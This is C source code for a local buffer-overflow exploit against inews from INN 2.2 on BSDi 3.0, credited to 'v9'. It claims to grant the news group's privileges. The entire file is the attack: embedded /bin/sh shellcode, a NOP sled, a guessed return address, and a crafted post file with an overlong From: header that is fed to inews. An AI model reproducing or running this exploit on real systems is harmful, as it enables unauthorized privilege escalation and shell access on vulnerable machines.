/* (BSDi)inews[inn-2.2] buffer overflow, by v9[v9@fakehalo.org]. this exploit yields egid/group=8(news) on BSDi/3.0 systems with innd. note: this is simply a port of my inews_bof.c from awhile back, w/some mods. */ #include #define PATH "/usr/contrib/lib/news/inews" /* path to inews */ #define TMPFILE "/tmp/bad.post" /* no need to change this. */ #define SUBJECT "inews bug. (bsdi too)" /* the subject filler. */ #define NEWSGROUP "alt.innd.bug" /* the group filler. */ #define DEFAULT_OFFSET -5000 /* general offset. */ static char exec[]= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */ "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */ "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */ "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */ long esp(void){__asm__("movl %esp,%eax");} int main(int argc,char **argv){ char bof[600],buf[4096]; int i,offset; long ret; FILE *inewsfile; fprintf(stderr,"[ (BSDi)inews[inn-2.2]: buffer overflow, by: v9[v9@fakehalo.or" "g]. ]\n"); if(argc>1){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} ret=(esp()-offset); for(i=0;i<600;i+=4){*(long *)&bof[i]=ret;} for(i=0;i<(600-strlen(exec)-100);i++){*(bof+i)=0x90;} memcpy(bof+i,exec,strlen(exec)); bof[600]=0x0; for(i=0;i<(4096-strlen(exec)-strlen(bof));i++){*(buf+i)=0x90;} memcpy(buf+i,exec,strlen(exec)); memcpy(buf,"EXEC=",5);putenv(buf); unlink(TMPFILE); inewsfile=fopen(TMPFILE,"w"); fprintf(inewsfile,"From: %s\n",bof); fprintf(inewsfile,"Newsgroups: %s\n",NEWSGROUP); fprintf(inewsfile,"Subject: %s\n\n",SUBJECT); fclose(inewsfile); printf("[ return address: 0x%lx, offset: %d. ]\n",ret,offset); if(execlp(PATH,"inews","-h",TMPFILE,0)){ printf("%s: failed: invalid path.\n",argv[0],PATH); exit(-1); } }